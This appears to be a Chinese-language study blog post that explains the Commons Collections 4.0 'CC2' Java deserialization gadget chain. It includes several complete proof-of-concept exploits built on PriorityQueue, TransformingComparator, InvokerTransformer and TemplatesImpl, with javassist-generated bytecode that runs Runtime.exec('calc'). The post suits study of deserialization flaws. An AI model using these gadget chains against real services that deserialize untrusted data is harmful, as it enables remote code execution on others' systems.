java反序列化–CC2 前置 介绍 CC2的环境与前面学习的CC1 CC3 CC6环境有一点不一样
之前我们都是在是Commons-Collections=3.2.1
下的攻击
而这个CC2则是在Commons-Collections=4.0
下的攻击
Apache Commons Collections是⼀个著名的辅助开发库,包含了⼀些Java中没有的数据结构和和辅助 方法,不过随着Java 9以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。
在2015年底commons-collections反序列化利用链被提出时,Apache Commons Collections有以下两个分支版本:
可见,groupId和artifactId都变了。前者是Commons Collections老的版本包,当时版本号是3.2.1
;后者是官方在2013年推出的4版本,当时版本号是4.0
。
官方认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产生大量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个用来替换commons-collections的新版本,而是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项目中
这也是为什么要分版本的原因
环境配置 需要重新配置maven
<dependencies> <!-- Apache Commons Collections 4 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
我们直接新建一个项目 重新配置maven就行
按照我们配3.2.1的步骤来就是
记得要重新加载一下maven
这里也解决了我们之前CC3的lazyMap的问题
Commons-Collections=4.0下的思考 既然3.2.1中存在反序列化利用链,那么4.0版本是否存在呢
我们直接尝试CC6能不能在4.0下能不能运行
先就是一个下马威啊 24个报错
我们发现导入的包都有问题
看看怎么个事
我们对比一下依赖
<dependencies> <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
我们可以发现
老的Gadget中依赖的包名都是 org.apache.commons.collections
,而新的包名已经变了,是 org.apache.commons.collections4
所以
我们应该将所 有 import org.apache.commons.collections.*
改成 import org.apache.commons.collections4.*
但是改后还是由一个错误
报LazyMap.decorate的错误
我们先看看原来CC6里的LazyMap.decorate的定义
这个报错的原因肯定是在新的依赖里面没有这个类
而我们应该怎么在Commons-Collections=4.0
调用这个decorate呢
我们直接在新依赖里找有相同功能的类
以进来就直接看到了
这不是和我们需要的decorate一模一样吗
public static <V, K> LazyMap<K, V> lazyMap (Map<K, V> map, Transformer<? super K, ? extends V> factory) { return new LazyMap (map, factory); }
public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
所以
我们只要替换一下名字即可
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
这样就行
没问题了
应该是可以运行了
没问题
既然CC6可以在Commons-Collections=4.0
下运行
那么我们之前构造的CC1和CC3肯定也是没问题的
这里就不多说了
CC2 那么Commons-Collections=4.0
有没有新链子吗
当然
这就是CC2与CC4
这里我们先学习CC2
POC 先上poc
package com.govuln.deserialization;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;public class CommonsCollections2 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc.exe" }), }; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Comparator comparator = new TransformingComparator (transformerChain); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(1 ); queue.add(2 ); setFieldValue(transformerChain, "iTransformers" , transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
链子构造与分析 commons-collections这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其 中包含了一些可以执行任意方法的Transformer 。所以,在commons-collections中找Gadget的过 程,实际上可以简化为,找一条从 Serializable.readObject() 方法到 Transformer.transform() 方法的调用链 。
好 现在我们再来看CC2的POC
CC2里有两个关键类
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
为什么说这两个类关键呢
java.util.PriorityQueue
是⼀个有自己 readObject() 方法的类
而org.apache.commons.collections4.comparators.TransformingComparator
中有调 ⽤ transform() 方法的函数:
所以我们就可以知道CC2就是一条从PriorityQueue.readObject()
到 TransformingComparator.comapare.transform()
的利用链
好 接下来就是把他们给串起来
我们之前说过 readObject()是java反序列化的起点
所以我们从PriorityQueue.readObject()
开始 来看看它调用了什么类/方法
首先PriorityQueue.readObject()
调用了heapify()
方法
点进去
发现heapify()
调用了siftDown()
方法
点进去
siftDown()
调用链siftDownUsingComparator()
方法
点进去
回来了 调用了compare方法
这样一来链子就通了
链子还是能简单的
接下来就可以构造我们的链子了
首先,还是创建Transformer ,基作:
Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, new String [] { "calc.exe" }), }; Transformer transformerChain = new ChainedTransformer (fakeTransformers);
嗯 你没看错 一模一样的哈
然后就是创建⼀个 TransformingComparator ,传入我们的Transformer:
Comparator comparator = new TransformingComparator (transformerChain);
好 我们实例化 PriorityQueue 对象,第⼀个参数是初始化时的大小,至少需要2个元素才会触发排序和比较, 所以是2;第二个参数是比较时的Comparator,传入前面实例化的comparator:
PriorityQueue queue = new PriorityQueue (2 , comparator);queue.add(1 ); queue.add(2 );
后面随便添加了2个数字进去 ,这里可以传入非null的任意对象 ,因为我们的Transformer是忽略传入参 数的
最后,将真正的恶意Transformer设置上:
setFieldValue(transformerChain, "iTransformers" , transformers);
当然 得有setFieldValue方法
public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); }
定义了一个名为 setFieldValue
的静态方法,它接受三个参数:一个是目标对象 obj
,一个是要修改的字段名 fieldName
(字符串类型),最后一个是要设置给该字段的新值 value
。这个方法的主要作用是利用 Java 反射 API 动态地修改指定对象中某个字段的值,具体步骤如下:
获取 Field 对象 :通过 obj.getClass().getDeclaredField(fieldName)
获取目标对象 obj
类中声明的、名为 fieldName
的字段。getDeclaredField
方法可以访问私有字段,但不包括父类的字段。
开放访问权限 :由于直接访问私有字段通常受到限制,所以使用 field.setAccessible(true)
方法来取消 Java 访问控制检查,允许后续代码修改这个字段的值,即使它原本是 private 的。
设置字段值 :最后,通过 field.set(obj, value)
实际设置 obj
对象中 fieldName
字段的值为 value
。
然后就是最后的序列化与反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream ();ObjectOutputStream oos = new ObjectOutputStream (barr);oos.writeObject(queue); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject();
最后就组成了我们的POC啦
调用流程 :
PriorityQueue.readObject-> PriorityQueue.heapify-> PriorityQueue.siftDown-> PriorityQueue.siftDownUsingComparator-> TransformingComparator.compare-> ChainedTransformer.transform->.......
CC2的进化之路 在CC3中 我们知道用 TemplatesImpl 可以构造出无Transformer数组的利用
这里我们也可以用这个来进化一下我们的CC2
进化失败 创建 TemplatesImpl
对象
TemplatesImpl obj = new TemplatesImpl ();setFieldValue(obj, "_bytecodes" , new byte [][]{getBytescode()}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ());
创建⼀个人畜无害的 InvokerTransformer
对象,并用它实例化 Comparator
Transformer transformer = new InvokerTransformer ("toString" , null , null );Comparator comparator = new TransformingComparator (transformer);
样实例化 PriorityQueue
,但是此时向队列里添加的元素就是我们前面创建的 TemplatesImpl
对象了:
PriorityQueue queue = new PriorityQueue (2 , comparator);queue.add(obj); queue.add(obj)
因为我们这里无法再使用Transformer
数组,所以也就不能用 ConstantTransformer
来初始化变量,需要接受外部传入的变量。而在 Comparator.compare()
时,队列里的元素将作为参数传入transform()
方法,这就是传给 TemplatesImpl.newTransformer
的参数。
最后⼀步,将 toString
方法改成恶意方法 newTransformer
:
setFieldValue(transformer, "iMethodName" , "newTransformer" );
最后就形成了我们的CC2进化POC
package com.govuln.deserialization;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;public class CommonsCollections2TemplatesImpl { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } protected static byte [] getBytescode() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName()); return clazz.toBytecode(); } public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{getBytescode()}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); Transformer transformer = new InvokerTransformer ("toString" , null , null ); Comparator comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 , comparator); queue.add(obj); queue.add(obj); setFieldValue(transformer, "iMethodName" , "newTransformer" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
这个POC我一直爆evil的错 目前还没有解决 没有找到相应的包
但是整体的代码逻辑和升级思路没问题
进化成功 这里我从新找了一个POC来
思路是一样的
都是通过用了javassist动态构造了我们恶意类的字节码
再来CC3的思路
POC package example;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CC22 { public static void main (String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections22222222222" ); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class []{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templatesImpl,new byte [][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name" ); field1.setAccessible(true ); field1.set(templatesImpl,"test" ); InvokerTransformer transformer=new InvokerTransformer ("newTransformer" ,new Class []{},new Object []{}); TransformingComparator comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 ); queue.add(1 ); queue.add(1 ); Field field2=queue.getClass().getDeclaredField("comparator" ); field2.setAccessible(true ); field2.set(queue,comparator); Field field3=queue.getClass().getDeclaredField("queue" ); field3.setAccessible(true ); field3.set(queue,new Object []{templatesImpl,templatesImpl}); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("test.out" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream (new FileInputStream ("test.out" )); inputStream.readObject(); } }
这个POC是没问题的
我们重新分析一下吧 虽然思路差不多
这条链子和CC2进化之前的链子有很多地方都是一样的,不过这里 RCE 的方法是利用 javassist 中的字节码编程获取到字节码,然后再利用 TemplatesImpl 中的 defineTransletClasses 方法把字节码加载到 JVM 中运行
链子分析 从 POC 入手
推反序列化链,readObject
到 siftDownUsingComparator
这一段都是一样的,不过要重新分析一下 siftDownUsingComparator 利用的过程
可以看到在 POC 中通过反射给 queue 实例 中的 queue 属性 set 成了我们的恶意类
我们回头看siftDownUsingComparator
传进这个方法的 k 值为 0,x 值为 queue [0]
下面有一个 && 短路
因为 child 为 (k<<1)+1, 所以值为 2, 又因为 size 也为 2,所以你看这里
即使我们的 c 值,queue [right] 值存在着我们的恶意类,因为 right==size=2, 所以在这个逻辑中前面就已经为 false 了,所以后面的 compare 方法是不会执行的 。
我们其实执行的 compare 方法是在下一个 if 语句
我们的debug中也有所体现
所以 我们的 queue [0] 中必须放着我们的恶意类,其他的放不放无所谓 (即使 c 也可以传进去)
我们在回头看TransformingComparator.compare
我们传入的 x 即 queue [0] 是被先执行的,所以如果 queue [0] 中不存在我们的恶意类,后面的 InvokerTransformer 就无法执行 newTransformer 方法,就会直接抛出错误中断运行
至于为什么是数组,因为 queue 是数组嘛
这也是为什么必须放着我们的恶意类的原因
好
然后就是TemplatesImpl加载字节码了
这里就不索了
这里是用了javassist动态构造了我们恶意类的字节码,当然也可以直接编译成class文件,然后用二进制字节码来存储
这里是用ClassPool 和CtClass来生成恶意类的字节码
我们反射创建TemplatesImpl类,这没什么好说的,反射获取到了TemplatesImpl.instance对象作为TemplatesImpl类的实例化
通过Field来获取_bytecodes属性,这里调用的getDeclaredField()方法,并设置setAccessible(true);能获取到所有属性包括Privatie的
获取到_bytecodes属性后把我们生成的恶意类字节码bytes给set赋值到里面去
想调用到defineTransletClasses()方法就要保证 _name不为空 ,getTransletInstance()用defineTransletClasses()来加载字节码生成类
并且下面语句实例化恶意类
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
getTransletInstance()会去调用defineTransletClasses(),又会继续调用ClassLoader的defineClass来加载我们的字节码(这到ClassLoader已经底层类加载了)来生成恶意类
loader.defineClass(_bytecodes[i]);
所以接下来的poc是设置_name为我们的恶意类名,保证它不为空
通过结构 找到了在TemplatesImpl类中有一个new TransformerImpl()方法内部调用了getTransletInstance()方法能成功调用
那么再来看看这个newTransformerImpl()方法是什么
它会返回一个transformer
然后就是我们的InvokerTransformer
类的transform()
方法来调用new TransformerImpl()方法
再就是我们前面所提到的PriorityQueue集合了!
该队列的comparator属性我们可以指定成TransformingComparator比较器的,这样就可以调用TransformingComparator的compare()方法了
并且把比较对象设置成TemplatesImpl类的对象
因此我们只需要在PriorityQueue集合中添加两个TemplatesImpl对象作为集合元素就可以触发之前构造的利用链。
当然 是先实例化一个PrioritQueue对象,我们可控comparator属性,填入的两个元素
然后设置comparator的属性,通过Field获取到对应的属性,然后传入comparator和queue属性
注意这里因为是比较队列至少需要两个元素,所以我们传入两个TemplatesImpl_instance对象
接下来就是熟悉的序列化再反序列化出来了也就是模拟一边数据传输流了
分析就差不多这样
可能这个POC更好理解一点
注释不那辣莫多 更清晰一点
package cc2;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.PriorityQueue;public class Poc { public static void main (String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("cc2.TestTemplatesImpl" ); byte [] bytes = ctClass.toBytecode(); System.out.println(bytes); Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Constructor<?> constructor = aClass.getDeclaredConstructor(new Class []{}); Object TemplatesImpl_instance = constructor.newInstance(); Field bytecodes = aClass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(TemplatesImpl_instance, new byte [][]{bytes}); Field name = aClass.getDeclaredField("_name" ); name.setAccessible(true ); name.set(TemplatesImpl_instance, "TestTemplatesImpl" ); InvokerTransformer transformer = new InvokerTransformer ("newTransformer" , null , null ); TransformingComparator transformer_comparator = new TransformingComparator (transformer); PriorityQueue queue = new PriorityQueue (2 ); queue.add(1 ); queue.add(1 ); Field field = queue.getClass().getDeclaredField("comparator" ); field.setAccessible(true ); field.set(queue, transformer_comparator); field = queue.getClass().getDeclaredField("queue" ); field.setAccessible(true ); Object[] objects = new Object []{TemplatesImpl_instance, TemplatesImpl_instance}; field.set(queue, objects); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object object = ois.readObject(); } }
注意:
PriorityQueue的利用链是否支持在Commons-Collections=3中使⽤
当然不行因为这条利用链中的关键类 org.apache.commons.collections4.comparators.TransformingComparator
,在Commons-Collections=4.0以前是版本中是没有实现 Serializable 接口的